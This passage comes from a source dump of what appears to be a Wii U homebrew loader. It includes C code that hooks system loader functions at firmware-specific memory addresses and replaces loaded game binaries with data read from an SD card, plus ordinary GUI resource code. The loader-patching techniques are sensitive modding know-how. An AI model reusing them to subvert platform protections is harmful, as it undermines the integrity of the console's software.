if(copiedData != ret)\n            {\n                char buffer[200];\n                __os_snprintf(buffer, sizeof(buffer), \"CheckAndLoadRPL(%s) failure on copying data to memory. Copied %i expected %i.\", rpl_entry->name, copiedData, ret);\n                fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n            }\n            rpl_size += ret;\n        }\n\n        // Fill rpl entry\n        rpl_entry->size = rpl_size;\n\n        if ((int)bss_ptr != 0x0a000000)\n        {\n            char buffer[200];\n            __os_snprintf(buffer, sizeof(buffer), \"CheckAndLoadRPL(%s) file loaded 0x%08X %i\", rpl_entry->name, rpl_entry->area->address, rpl_entry->size);\n            fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n        }\n\n        FSCloseFile(pClient, pCmd, fd, FS_RET_NO_ERROR);\n    }\n\n    FSDelClient(pClient);\n    free(dataBuf);\n    free(pCmd);\n    free(pClient);\n\tif(!gSettingUseUpdatepath){\n        free(path_rpl);\n    }else{\n        free(path_update_rpl);\n    }\n    return 1;\n}\n\n/* *****************************************************************************\n * Searching for RPL to load\n * ****************************************************************************/\nstatic int CheckAndLoadRPL(const char *rpl) {\n    // If we are in Smash Bros app\n    if (GAME_LAUNCHED == 0)\n        return 0;\n\n    // Look for rpl name in our table\n    s_rpx_rpl *rpl_entry = rpxRplTableGet();\n\n    do\n    {\n        if(rpl_entry->is_rpx)\n            continue;\n\n        int len = strlen(rpl);\n        int len2 = strlen(rpl_entry->name);\n        if ((len != len2) && (len != (len2 - 4))) {\n            continue;\n        }\n\n        // compare name string case insensitive and without \".rpl\" extension\n        if (strncasecmp(rpl_entry->name, rpl, len) == 0)\n        {\n            int result = LoadRPLToMemory(rpl_entry);\n            return result;\n        }\n    }\n    while((rpl_entry = rpl_entry->next) != 0);\n    return 0;\n}\n\nDECL(int, OSDynLoad_Acquire, char* rpl, unsigned int *handle, int r5 __attribute__((unused))) {\n    // Get only the filename (in case there is folders in the module name ... like zombiu)\n    char *ptr = rpl;\n    while(*ptr) {\n        if (*ptr == '/') {\n            rpl = ptr + 1;\n        }\n        ptr++;\n    }\n\n    // Look if RPL is in our table and load it from SD Card\n    CheckAndLoadRPL(rpl);\n\n    int result = real_OSDynLoad_Acquire(rpl, handle, 0);\n\n    if ((int)bss_ptr != 0x0a000000)\n    {\n        char buffer[200];\n        __os_snprintf(buffer, sizeof(buffer), \"OSDynLoad_Acquire: %s result: %i\", rpl, result);\n        fs_log_string(bss.global_sock, buffer, BYTE_LOG_STR);\n    }\n\n    return result;\n}\n\n\nstatic struct {\n    unsigned int fileType;\n    unsigned int sgBufferNumber;\n    unsigned int sgFileOffset;\n} loaderGlobals3XX;\n\nDECL(int, LiBounceOneChunk, const char * filename, int fileType, int procId, int * hunkBytes, int fileOffset, int bufferNumber, int * dst_address)\n{\n    loaderGlobals3XX.fileType = fileType;\n    loaderGlobals3XX.sgBufferNumber = bufferNumber;\n    loaderGlobals3XX.sgFileOffset = fileOffset;\n\n    return real_LiBounceOneChunk(filename, fileType, procId, hunkBytes, fileOffset, bufferNumber, dst_address);\n}\n\n// This function is called every time after LiBounceOneChunk.\n// It waits for the asynchronous call of LiLoadAsync for the IOSU to fill data to the RPX/RPL address\n// and return the still remaining bytes to load.\n// We override it and replace the loaded date from LiLoadAsync with our data and our remaining bytes to load.\nDECL(int, LiWaitOneChunk, unsigned int * iRemainingBytes, const char *filename, int fileType)\n{\n    unsigned int result;\n    register int core_id;\n    s32 remaining_bytes = 0;\n\n    int sgFileOffset;\n    int sgBufferNumber;\n    int *sgBounceError;\n    int *sgGotBytes;\n    int *sgTotalBytes;\n    int *sgIsLoadingBuffer;\n    int *sgFinishedLoadingBuffer;\n\n    // get the current core\n    asm volatile(\"mfspr %0, 0x3EF\" : \"=r\" (core_id));\n\n    // get the offset of per core global variable for dynload initialized (just a simple address + (core_id * 4))\n    unsigned int gDynloadInitialized = *(volatile unsigned int*)(addr_gDynloadInitialized + (core_id << 2));\n\n    // Comment (Dimok):\n    // time measurement at this position for logger  -> we don't need it right now except maybe for debugging\n    //unsigned long long systemTime1 = Loader_GetSystemTime();\n\n\tif(OS_FIRMWARE == 550)\n    {\n        // pointer to global variables of the loader\n        loader_globals_550_t *loader_globals = (loader_globals_550_t*)(0xEFE19E80);\n\n        sgBufferNumber = loader_globals->sgBufferNumber;\n        sgFileOffset = loader_globals->sgFileOffset;\n        sgBounceError = &loader_globals->sgBounceError;\n        sgGotBytes = &loader_globals->sgGotBytes;\n        sgTotalBytes = &loader_globals->sgTotalBytes;\n        sgFinishedLoadingBuffer = &loader_globals->sgFinishedLoadingBuffer;\n        // not available on 5.5.x\n        sgIsLoadingBuffer = NULL;\n    }\n    else if(OS_FIRMWARE < 400)\n    {\n        sgBufferNumber = loaderGlobals3XX.sgBufferNumber;\n        sgFileOffset = loaderGlobals3XX.sgFileOffset;\n        fileType = loaderGlobals3XX.fileType;   // fileType is actually not passed to this function on < 400\n        sgIsLoadingBuffer = (int *)addr_sgIsLoadingBuffer;\n\n        // not available on < 400\n        sgBounceError = NULL;\n        sgGotBytes = NULL;\n        sgTotalBytes = NULL;\n        sgFinishedLoadingBuffer = NULL;\n    }\n    else\n    {\n        // pointer to global variables of the loader\n        loader_globals_t *loader_globals = (loader_globals_t*)(addr_sgIsLoadingBuffer);\n\n        sgBufferNumber = loader_globals->sgBufferNumber;\n        sgFileOffset = loader_globals->sgFileOffset;\n        sgBounceError = &loader_globals->sgBounceError;\n        sgGotBytes = &loader_globals->sgGotBytes;\n        sgIsLoadingBuffer = &loader_globals->sgIsLoadingBuffer;\n        // not available on < 5.5.x\n        sgTotalBytes = NULL;\n        sgFinishedLoadingBuffer = NULL;\n    }\n\n    // the data loading was started in LiBounceOneChunk() and here it waits for IOSU to finish copy the data\n    if(gDynloadInitialized != 0) {\n        result = LiWaitIopCompleteWithInterrupts(0x2160EC0, &remaining_bytes);\n\n    }\n    else {\n        result = LiWaitIopComplete(0x2160EC0, &remaining_bytes);\n    }\n\n\n    // Comment (Dimok):\n    // time measurement at this position for logger -> we don't need it right now except maybe for debugging\n    //unsigned long long systemTime2 = Loader_GetSystemTime();\n\n    //------------------------------------------------------------------------------------------------------------------\n    // Start of our function intrusion:\n    // After IOSU is done writing the data into the 0xF6000000/0xF6400000 address,\n    // we overwrite it with our data before setting the global flag for IsLoadingBuffer to 0\n    // Do this only if we are in the game that was launched by our method\n    if (*(volatile unsigned int*)0xEFE00000 == RPX_CHECK_NAME && (GAME_LAUNCHED == 1))\n    {\n        s_rpx_rpl *rpl_struct = rpxRplTableGet();\n\n        do\n        {\n            // the argument fileType = 0 is RPX, fileType = 1 is RPL (inverse to our is_rpx)\n            if((!rpl_struct->is_rpx) != fileType)\n                continue;\n\n            int found = 1;\n\n            // if we load RPX then the filename can't be checked as it is the Mii Maker or Smash Bros RPX name\n            // there skip the filename check for RPX\n            if(fileType == 1)\n            {\n                int len = strnlen(filename, 0x1000);\n                int len2 = strnlen(rpl_struct->name, 0x1000);\n                if ((len != len2) && (len != (len2 - 4)))\n                    continue;\n\n                if(strncasecmp(filename, rpl_struct->name, len) != 0) {\n                    found = 0;\n                }\n            }\n\n            if (found)\n            {\n                unsigned int load_address = (sgBufferNumber == 1) ? 0xF6000000 : (0xF6000000 + 0x00400000);\n                unsigned int load_addressPhys = (sgBufferNumber == 1) ? gLoaderPhysicalBufferAddr : (gLoaderPhysicalBufferAddr + 0x00400000); // virtual 0xF6000000 and 0xF6400000\n\n                // set our game RPX loaded variable for use in FS system\n                if(fileType == 0)\n                    GAME_RPX_LOADED = 1;\n\n                remaining_bytes = rpl_struct->size - sgFileOffset;\n                if (remaining_bytes > 0x400000)\n                    // truncate size\n                    remaining_bytes = 0x400000;\n\n                DCFlushRange((void *)load_address, remaining_bytes);\n\n                rpxRplCopyDataFromMem(rpl_struct, sgFileOffset, (unsigned char*)load_addressPhys, remaining_bytes);\n\n                DCInvalidateRange((void *) load_address, remaining_bytes);\n\n                // set result to 0 -> \"everything OK\"\n                result = 0;\n                break;\n            }\n        }\n        while((rpl_struct = rpl_struct->next) != 0);\n    }\n    // check if the game was left back to system menu after a game was launched by our method and reset our flags for game launch\n    else if (*(volatile unsigned int*)0xEFE00000 != RPX_CHECK_NAME && (GAME_LAUNCHED == 1) && (GAME_RPX_LOADED == 1))\n    {\n        GAME_RPX_LOADED = 0;\n        GAME_LAUNCHED = 0;\n\t\tgSettingUseUpdatepath = 0;\n        RPX_CHECK_NAME = 0xDEADBEAF;\n    }\n\n    // end of our little intrusion into this function\n    //------------------------------------------------------------------------------------------------------------------\n\n    // set the result to the global bounce error variable\n    if(sgBounceError) {\n        *sgBounceError = result;\n    }\n\n    // disable global flag that buffer is still loaded by IOSU\n\tif(sgFinishedLoadingBuffer)\n    {\n        unsigned int zeroBitCount = 0;\n        asm volatile(\"cntlzw %0, %0\" : \"=r\" (zeroBitCount) : \"r\"(*sgFinishedLoadingBuffer));\n        *sgFinishedLoadingBuffer = zeroBitCount >> 5;\n    }\n    else if(sgIsLoadingBuffer)\n    {\n        *sgIsLoadingBuffer = 0;\n    }\n\n    // check result for errors\n    if(result == 0) {\n        // the remaining size is set globally and in stack variable only\n        // if a pointer was passed to this function\n        if(iRemainingBytes) {\n            if(sgGotBytes) {\n                *sgGotBytes = remaining_bytes;\n            }\n\n            *iRemainingBytes = remaining_bytes;\n\n            // on 5.5.x a new variable for total loaded bytes was added\n            if(sgTotalBytes) {\n                *sgTotalBytes += remaining_bytes;\n            }\n        }\n        // Comment (Dimok):\n        // calculate time difference and print it on logging how long the wait for asynchronous data load took\n        // something like (systemTime2 - systemTime1) * constant / bus speed, did not look deeper into it as we don't need that crap\n    }\n    else {\n        // Comment (Dimok):\n        // a lot of error handling here. depending on error code sometimes calls Loader_Panic() -> we don't make errors so we can skip that part ;-P\n    }\n    return result;\n}\n\n/* *****************************************************************************\n * Creates function pointer array\n * ****************************************************************************/\n\nhooks_magic_t method_hooks_rplrpx[] __attribute__((section(\".data\"))) = {\n    // LOADER function\n    MAKE_MAGIC(LiWaitOneChunk,              LIB_LOADER,STATIC_FUNCTION),\n    MAKE_MAGIC(LiBounceOneChunk,            LIB_LOADER,STATIC_FUNCTION),\n\n    // Dynamic RPL loading functions\n    MAKE_MAGIC(OSDynLoad_Acquire,           LIB_CORE_INIT,STATIC_FUNCTION),\n\n};\n\n\nu32 method_hooks_size_rplrpx __attribute__((section(\".data\"))) = sizeof(method_hooks_rplrpx) / sizeof(hooks_magic_t);\n\n//! buffer to store our instructions needed for our replacements\nvolatile u32 method_calls_rplrpx[sizeof(method_hooks_rplrpx) / sizeof(hooks_magic_t) * FUNCTION_PATCHER_METHOD_STORE_SIZE] __attribute__((section(\".data\")));\n\n"
  },
  {
    "path": "src/patcher/rplrpx_patcher.h",
    "content": "#ifndef _RPLRPX_FUNCTION_PATCHER_H\n#define _RPLRPX_FUNCTION_PATCHER_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"utils/function_patcher.h\"\n\nextern hooks_magic_t            method_hooks_rplrpx[];\nextern u32                      method_hooks_size_rplrpx;\nextern volatile u32             method_calls_rplrpx[];\n\nextern s32 (* FSInit)(void);\nextern s32 (* real_FSInit)(void);\nextern s32 (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, s32 errHandling);\nextern s32 (* real_FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, s32 errHandling);\nextern s32 (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, s32 *fd, s32 errHandling);\nextern s32 (* real_FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, s32 *fd, s32 errHandling);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _RPLRPX_FUNCTION_PATCHER_H */\n"
  },
  {
    "path": "src/resources/Resources.cpp",
    "content": "#include <gctypes.h>\n#include <malloc.h>\n#include <string.h>\n#include \"Resources.h\"\n#include \"filelist.h\"\n#include \"system/AsyncDeleter.h\"\n#include \"fs/fs_utils.h\"\n#include \"gui/GuiImageAsync.h\"\n#include \"gui/GuiSound.h\"\n\nResources * Resources::instance = NULL;\n\nvoid Resources::Clear()\n{\n\tfor(int i = 0; RecourceList[i].filename != NULL; ++i)\n\t{\n\t\tif(RecourceList[i].CustomFile)\n\t\t{\n\t\t\tfree(RecourceList[i].CustomFile);\n\t\t\tRecourceList[i].CustomFile = NULL;\n\t\t}\n\n\t\tif(RecourceList[i].CustomFileSize != 0)\n\t\t\tRecourceList[i].CustomFileSize = 0;\n\t}\n\n\tif(instance)\n        delete instance;\n\n    instance = NULL;\n}\n\nbool Resources::LoadFiles(const char * path)\n{\n\tif(!path)\n\t\treturn false;\n\n\tbool result = false;\n\tClear();\n\n\tfor(int i = 0; RecourceList[i].filename != NULL; ++i)\n\t{\n        std::string fullpath(path);\n        fullpath += \"/\";\n        fullpath += RecourceList[i].filename;\n\n        u8 * buffer = NULL;\n        u32 filesize = 0;\n\n        LoadFileToMem(fullpath.c_str(), &buffer, &filesize);\n\n        RecourceList[i].CustomFile = buffer;\n        RecourceList[i].CustomFileSize = (u32) filesize;\n        result |= (buffer != 0);\n\t}\n\n\treturn result;\n}\n\nconst u8 * Resources::GetFile(const char * filename)\n{\n\tfor(int i = 0; RecourceList[i].filename != NULL; ++i)\n\t{\n\t\tif(strcasecmp(filename, RecourceList[i].filename) == 0)\n\t\t{\n\t\t\treturn (RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile);\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\nu32 Resources::GetFileSize(const char * filename)\n{\n\tfor(int i = 0; RecourceList[i].filename != NULL; ++i)\n\t{\n\t\tif(strcasecmp(filename, RecourceList[i].filename) == 0)\n\t\t{\n\t\t\treturn (RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize);\n\t\t}\n\t}\n\treturn 0;\n}\n\nGuiImageData * Resources::GetImageData(const char * filename)\n{\n    if(!instance)\n        instance = new Resources;\n\n    std::map<std::string, std::pair<unsigned int, GuiImageData *> >::iterator itr = instance->imageDataMap.find(std::string(filename));\n    if(itr != instance->imageDataMap.end())\n    {\n        itr->second.first++;\n        return itr->second.second;\n    }\n\n\tfor(int i = 0; RecourceList[i].filename != NULL; ++i)\n\t{\n\t\tif(strcasecmp(filename, RecourceList[i].filename) == 0)\n\t\t{\n\t\t\tconst u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile;\n\t\t\tconst u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize;\n\n\t\t\tif(buff == NULL)\n                return NULL;\n\n            GuiImageData * image = new GuiImageData(buff, size);\n            instance->imageDataMap[std::string(filename)].first = 1;\n            instance->imageDataMap[std::string(filename)].second = image;\n\n            return image;\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\nvoid Resources::RemoveImageData(GuiImageData * image)\n{\n    std::map<std::string, std::pair<unsigned int, GuiImageData *> >::iterator itr;\n\n    for(itr = instance->imageDataMap.begin(); itr != instance->imageDataMap.end(); itr++)\n    {\n        if(itr->second.second == image)\n        {\n            itr->second.first--;\n\n            if(itr->second.first == 0)\n            {\n                AsyncDeleter::pushForDelete( itr->second.second );\n                instance->imageDataMap.erase(itr);\n            }\n            break;\n        }\n    }\n}\n\nGuiSound * Resources::GetSound(const char * filename)\n{\n    if(!instance)\n        instance = new Resources;\n\n    std::map<std::string, std::pair<unsigned int, GuiSound *> >::iterator itr = instance->soundDataMap.find(std::string(filename));\n    if(itr != instance->soundDataMap.end())\n    {\n        itr->second.first++;\n        return itr->second.second;\n    }\n\n\tfor(int i = 0; RecourceList[i].filename != NULL; ++i)\n\t{\n\t\tif(strcasecmp(filename, RecourceList[i].filename) == 0)\n\t\t{\n\t\t\tconst u8 * buff = RecourceList[i].CustomFile ? RecourceList[i].CustomFile : RecourceList[i].DefaultFile;\n\t\t\tconst u32 size = RecourceList[i].CustomFile ? RecourceList[i].CustomFileSize : RecourceList[i].DefaultFileSize;\n\n\t\t\tif(buff == NULL)\n                return NULL;\n\n            GuiSound * sound = new GuiSound(buff, size);\n            instance->soundDataMap[std::string(filename)].first = 1;\n            instance->soundDataMap[std::string(filename)].second = sound;\n\n            return sound;\n\t\t}\n\t}\n\n\treturn NULL;\n}\n\nvoid Resources::RemoveSound(GuiSound * sound)\n{\n    std::map<std::string, std::pair<unsigned int, GuiSound *> >::iterator itr;\n\n    for(itr = instance->soundDataMap.begin(); itr != instance->soundDataMap.end(); itr++)\n    {\n        if(itr->second.second == sound)\n        {\n            itr->second.first--;\n\n            if(itr->second.first == 0)\n            {\n                AsyncDeleter::pushForDelete( itr->second.second );\n                instance->soundDataMap.erase(itr);\n            }\n            break;\n        }\n    }\n}\n"
  },
  {
    "path": "src/resources/Resources.h",
    "content": "#ifndef RECOURCES_H_\n#define RECOURCES_H_\n\n\n#include <map>\n\n//! forward declaration\nclass GuiImageData;\nclass GuiSound;\n\nclass Resources\n{\npublic:\n    static void Clear();\n    static bool LoadFiles(const char * path);\n    static const u8 * GetFile(const char * filename);\n    static u32 GetFileSize(const char * filename);\n\n    static GuiImageData * GetImageData(const char * filename);\n    static void RemoveImageData(GuiImageData * image);\n\n    static GuiSound * GetSound(const char * filename);\n    static void RemoveSound(GuiSound * sound);\nprivate:\n    static Resources *instance;\n\n    Resources() {}\n    ~Resources() {}\n\n    std::map<std::string, std::pair<unsigned int, GuiImageData *> > imageDataMap;\n    std::map<std::string, std::pair<unsigned int, GuiSound *> > soundDataMap;\n};\n\n#endif\n"
  },
  {
    "path": "src/resources/filelist.h",
    "content": "/****************************************************************************\n * Loadiine resource files.\n * This file is generated automatically.\n * Includes 66 files.\n *\n * NOTE:\n * Any manual modification of this file will be overwriten by the generation.\n ****************************************************************************/\n#ifndef _FILELIST_H_\n#define _FILELIST_H_\n\n#include <gctypes.h>\n\ntypedef struct _RecourceFile\n{\n\tconst char *filename;\n\tconst u8   *DefaultFile;\n\tconst u32  &DefaultFileSize;\n\tu8\t\t   *CustomFile;\n\tu32\t\t    CustomFileSize;\n} RecourceFile;\n\nextern const u8 backButton_png[];\nextern const u32 backButton_png_size;\n\nextern const u8 bgGridTile_png[];\nextern const u32 bgGridTile_png_size;\n\nextern const u8 bgMusic_ogg[];\nextern const u32 bgMusic_ogg_size;\n\nextern const u8 button_click_mp3[];\nextern const u32 button_click_mp3_size;\n\nextern const u8 checkbox_png[];\nextern const u32 checkbox_png_size;\n\nextern const u8 checkbox_highlighted_png[];\nextern const u32 checkbox_highlighted_png_size;\n\nextern const u8 checkbox_selected_png[];\nextern const u32 checkbox_selected_png_size;\n\nextern const u8 choiceCheckedSquare_png[];\nextern const u32 choiceCheckedSquare_png_size;\n\nextern const u8 choiceHighlightedSquare_png[];\nextern const u32 choiceHighlightedSquare_png_size;\n\nextern const u8 choiceUncheckedSquare_png[];\nextern const u32 choiceUncheckedSquare_png_size;\n\nextern const u8 creditsIcon_png[];\nextern const u32 creditsIcon_png_size;\n\nextern const u8 creditsIconGlow_png[];\nextern const u32 creditsIconGlow_png_size;\n\nextern const u8 credits_music_ogg[];\nextern const u32 credits_music_ogg_size;\n\nextern const u8 emptyRoundButton_png[];\nextern const u32 emptyRoundButton_png_size;\n\nextern const u8 emptyRoundButtonSelected_png[];\nextern const u32 emptyRoundButtonSelected_png_size;\n\nextern const u8 font_ttf[];\nextern const u32 font_ttf_size;\n\nextern const u8 gameSettingsButton_png[];\nextern const u32 gameSettingsButton_png_size;\n\nextern const u8 gameSettingsButtonEx_png[];\nextern const u32 gameSettingsButtonEx_png_size;\n\nextern const u8 gameSettingsButtonExHighlighted_png[];\nextern const u32 gameSettingsButtonExHighlighted_png_size;\n\nextern const u8 gameSettingsButtonExSelected_png[];\nextern const u32 gameSettingsButtonExSelected_png_size;\n\nextern const u8 gameSettingsButtonSelected_png[];\nextern const u32 gameSettingsButtonSelected_png_size;\n\nextern const u8 gameSettingsFrame_png[];\nextern const u32 gameSettingsFrame_png_size;\n\nextern const u8 gameSettingsIcon_png[];\nextern const u32 gameSettingsIcon_png_size;\n\nextern const u8 gameSettingsIconGlow_png[];\nextern const u32 gameSettingsIconGlow_png_size;\n\nextern const u8 gameSettingsMenuButton_png[];\nextern const u32 gameSettingsMenuButton_png_size;\n\nextern const u8 game_click_mp3[];\nextern const u32 game_click_mp3_size;\n\nextern const u8 guiSettingsIcon_png[];\nextern const u32 guiSettingsIcon_png_size;\n\nextern const u8 guiSettingsIconGlow_png[];\nextern const u32 guiSettingsIconGlow_png_size;\n\nextern const u8 iconEmpty_jpg[];\nextern const u32 iconEmpty_jpg_size;\n\nextern const u8 keyPadBackButton_png[];\nextern const u32 keyPadBackButton_png_size;\n\nextern const u8 keyPadBg_png[];\nextern const u32 keyPadBg_png_size;\n\nextern const u8 keyPadButton_png[];\nextern const u32 keyPadButton_png_size;\n\nextern const u8 keyPadButtonClicked_png[];\nextern const u32 keyPadButtonClicked_png_size;\n\nextern const u8 keyPadDeleteButton_png[];\nextern const u32 keyPadDeleteButton_png_size;\n\nextern const u8 keyPadDeleteClicked_png[];\nextern const u32 keyPadDeleteClicked_png_size;\n\nextern const u8 keyPadField_png[];\nextern const u32 keyPadField_png_size;\n\nextern const u8 keyPadFieldBlinker_png[];\nextern const u32 keyPadFieldBlinker_png_size;\n\nextern const u8 keyPadOkButton_png[];\nextern const u32 keyPadOkButton_png_size;\n\nextern const u8 layoutSwitchButton_png[];\nextern const u32 layoutSwitchButton_png_size;\n\nextern const u8 leftArrow_png[];\nextern const u32 leftArrow_png_size;\n\nextern const u8 loaderSettingsIcon_png[];\nextern const u32 loaderSettingsIcon_png_size;\n\nextern const u8 loaderSettingsIconGlow_png[];\nextern const u32 loaderSettingsIconGlow_png_size;\n\nextern const u8 noCover_png[];\nextern const u32 noCover_png_size;\n\nextern const u8 noGameIcon_png[];\nextern const u32 noGameIcon_png_size;\n\nextern const u8 player1_point_png[];\nextern const u32 player1_point_png_size;\n\nextern const u8 player2_point_png[];\nextern const u32 player2_point_png_size;\n\nextern const u8 player3_point_png[];\nextern const u32 player3_point_png_size;\n\nextern const u8 player4_point_png[];\nextern const u32 player4_point_png_size;\n\nextern const u8 progressWindow_png[];\nextern const u32 progressWindow_png_size;\n\nextern const u8 quitButton_png[];\nextern const u32 quitButton_png_size;\n\nextern const u8 quitButtonSelected_png[];\nextern const u32 quitButtonSelected_png_size;\n\nextern const u8 rightArrow_png[];\nextern const u32 rightArrow_png_size;\n\nextern const u8 screenSwitchSound_mp3[];\nextern const u32 screenSwitchSound_mp3_size;\n\nextern const u8 scrollbarButton_png[];\nextern const u32 scrollbarButton_png_size;\n\nextern const u8 scrollbarLine_png[];\nextern const u32 scrollbarLine_png_size;\n\nextern const u8 settingButton_png[];\nextern const u32 settingButton_png_size;\n\nextern const u8 settingsButton_png[];\nextern const u32 settingsButton_png_size;\n\nextern const u8 settingsCategoryBg_png[];\nextern const u32 settingsCategoryBg_png_size;\n\nextern const u8 settingsCategoryButton_png[];\nextern const u32 settingsCategoryButton_png_size;\n\nextern const u8 settingSelectedButton_png[];\nextern const u32 settingSelectedButton_png_size;\n\nextern const u8 settingsTitle_png[];\nextern const u32 settingsTitle_png_size;\n\nextern const u8 settings_click_2_mp3[];\nextern const u32 settings_click_2_mp3_size;\n\nextern const u8 switchIconBase_png[];\nextern const u32 switchIconBase_png_size;\n\nextern const u8 switchIconBaseHighlighted_png[];\nextern const u32 switchIconBaseHighlighted_png_size;\n\nextern const u8 switchIconOff_png[];\nextern const u32 switchIconOff_png_size;\n\nextern const u8 switchIconOn_png[];\nextern const u32 switchIconOn_png_size;\n\nstatic RecourceFile RecourceList[] =\n{\n\t{\"backButton.png\", backButton_png, backButton_png_size, NULL, 0},\n\t{\"bgGridTile.png\", bgGridTile_png, bgGridTile_png_size, NULL, 0},\n\t{\"bgMusic.ogg\", bgMusic_ogg, bgMusic_ogg_size, NULL, 0},\n\t{\"button_click.mp3\", button_click_mp3, button_click_mp3_size, NULL, 0},\n\t{\"checkbox.png\", checkbox_png, checkbox_png_size, NULL, 0},\n\t{\"checkbox_highlighted.png\", checkbox_highlighted_png, checkbox_highlighted_png_size, NULL, 0},\n\t{\"checkbox_selected.png\", checkbox_selected_png, checkbox_selected_png_size, NULL, 0},\n\t{\"choiceCheckedSquare.png\", choiceCheckedSquare_png, choiceCheckedSquare_png_size, NULL, 0},\n\t{\"choiceHighlightedSquare.png\", choiceHighlightedSquare_png, choiceHighlightedSquare_png_size, NULL, 0},\n\t{\"choiceUncheckedSquare.png\", choiceUncheckedSquare_png, choiceUncheckedSquare_png_size, NULL, 0},\n\t{\"creditsIcon.png\", creditsIcon_png, creditsIcon_png_size, NULL, 0},\n\t{\"creditsIconGlow.png\", creditsIconGlow_png, creditsIconGlow_png_size, NULL, 0},\n\t{\"credits_music.ogg\", credits_music_ogg, credits_music_ogg_size, NULL, 0},\n\t{\"emptyRoundButton.png\", emptyRoundButton_png, emptyRoundButton_png_size, NULL, 0},\n\t{\"emptyRoundButtonSelected.png\", emptyRoundButtonSelected_png, emptyRoundButtonSelected_png_size, NULL, 0},\n\t{\"font.ttf\", font_ttf, font_ttf_size, NULL, 0},\n\t{\"gameSettingsButton.png\", gameSettingsButton_png, gameSettingsButton_png_size, NULL, 0},\n\t{\"gameSettingsButtonEx.png\", gameSettingsButtonEx_png, gameSettingsButtonEx_png_size, NULL, 0},\n\t{\"gameSettingsButtonExHighlighted.png\", gameSettingsButtonExHighlighted_png, gameSettingsButtonExHighlighted_png_size, NULL, 0},\n\t{\"gameSettingsButtonExSelected.png\", gameSettingsButtonExSelected_png, gameSettingsButtonExSelected_png_size, NULL, 0},\n\t{\"gameSettingsButtonSelected.png\", gameSettingsButtonSelected_png, gameSettingsButtonSelected_png_size, NULL, 0},\n\t{\"gameSettingsFrame.png\", gameSettingsFrame_png, gameSettingsFrame_png_size, NULL, 0},\n\t{\"gameSettingsIcon.png\", gameSettingsIcon_png, gameSettingsIcon_png_size, NULL, 0},\n\t{\"gameSettingsIconGlow.png\", gameSettingsIconGlow_png, gameSettingsIconGlow_png_size, NULL, 0},\n\t{\"gameSettingsMenuButton.png\", gameSettingsMenuButton_png, gameSettingsMenuButton_png_size, NULL, 0},\n\t{\"game_click.mp3\", game_click_mp3, game_click_mp3_size, NULL, 0},\n\t{\"guiSettingsIcon.png\", guiSettingsIcon_png, guiSettingsIcon_png_size, NULL, 0},\n\t{\"guiSettingsIconGlow.png\", guiSettingsIconGlow_png, guiSettingsIconGlow_png_size, NULL, 0},\n\t{\"iconEmpty.jpg\", iconEmpty_jpg, iconEmpty_jpg_size, NULL, 0},\n\t{\"keyPadBackButton.png\", keyPadBackButton_png, keyPadBackButton_png_size, NULL, 0},\n\t{\"keyPadBg.png\", keyPadBg_png, keyPadBg_png_size, NULL, 0},\n\t{\"keyPadButton.png\", keyPadButton_png, keyPadButton_png_size, NULL, 0},\n\t{\"keyPadButtonClicked.png\", keyPadButtonClicked_png, keyPadButtonClicked_png_size, NULL, 0},\n\t{\"keyPadDeleteButton.png\", keyPadDeleteButton_png, keyPadDeleteButton_png_size, NULL, 0},\n\t{\"keyPadDeleteClicked.png\", keyPadDeleteClicked_png, keyPadDeleteClicked_png_size, NULL, 0},\n\t{\"keyPadField.png\", keyPadField_png, keyPadField_png_size, NULL, 0},\n\t{\"keyPadFieldBlinker.png\", keyPadFieldBlinker_png, keyPadFieldBlinker_png_size, NULL, 0},\n\t{\"keyPadOkButton.png\", keyPadOkButton_png, keyPadOkButton_png_size, NULL, 0},\n\t{\"layoutSwitchButton.png\", layoutSwitchButton_png, layoutSwitchButton_png_size, NULL, 0},\n\t{\"leftArrow.png\", leftArrow_png, leftArrow_png_size, NULL, 0},\n\t{\"loaderSettingsIcon.png\", loaderSettingsIcon_png, loaderSettingsIcon_png_size, NULL, 0},\n\t{\"loaderSettingsIconGlow.png\", loaderSettingsIconGlow_png, loaderSettingsIconGlow_png_size, NULL, 0},\n\t{\"noCover.png\", noCover_png, noCover_png_size, NULL, 0},\n\t{\"noGameIcon.png\", noGameIcon_png, noGameIcon_png_size, NULL, 0},\n\t{\"player1_point.png\", player1_point_png, player1_point_png_size, NULL, 0},\n\t{\"player2_point.png\", player2_point_png, player2_point_png_size, NULL, 0},\n\t{\"player3_point.png\", player3_point_png, player3_point_png_size, NULL, 0},\n\t{\"player4_point.png\", player4_point_png, player4_point_png_size, NULL, 0},\n\t{\"progressWindow.png\", progressWindow_png, progressWindow_png_size, NULL, 0},\n\t{\"quitButton.png\", quitButton_png, quitButton_png_size, NULL, 0},\n\t{\"quitButtonSelected.png\", quitButtonSelected_png, quitButtonSelected_png_size, NULL, 0},\n\t{\"rightArrow.png\", rightArrow_png, rightArrow_png_size, NULL, 0},\n\t{\"screenSwitchSound.mp3\", screenSwitchSound_mp3, screenSwitchSound_mp3_size, NULL, 0},\n\t{\"scrollbarButton.png\", scrollbarButton_png, scrollbarButton_png_size, NULL, 0},\n\t{\"scrollbarLine.png\", scrollbarLine_png, scrollbarLine_png_size, NULL, 0},\n\t{\"settingButton.png\", settingButton_png, settingButton_png_size, NULL, 0},\n\t{\"settingsButton.png\", settingsButton_png, settingsButton_png_size, NULL, 0},\n\t{\"settingsCategoryBg.png\", settingsCategoryBg_png, settingsCategoryBg_png_size, NULL, 0},\n\t{\"settingsCategoryButton.png\", settingsCategoryButton_png, settingsCategoryButton_png_size, NULL, 0},\n\t{\"settingSelectedButton.png\", settingSelectedButton_png, settingSelectedButton_png_size, NULL, 0},\n\t{\"settingsTitle.png\", settingsTitle_png, settingsTitle_png_size, NULL, 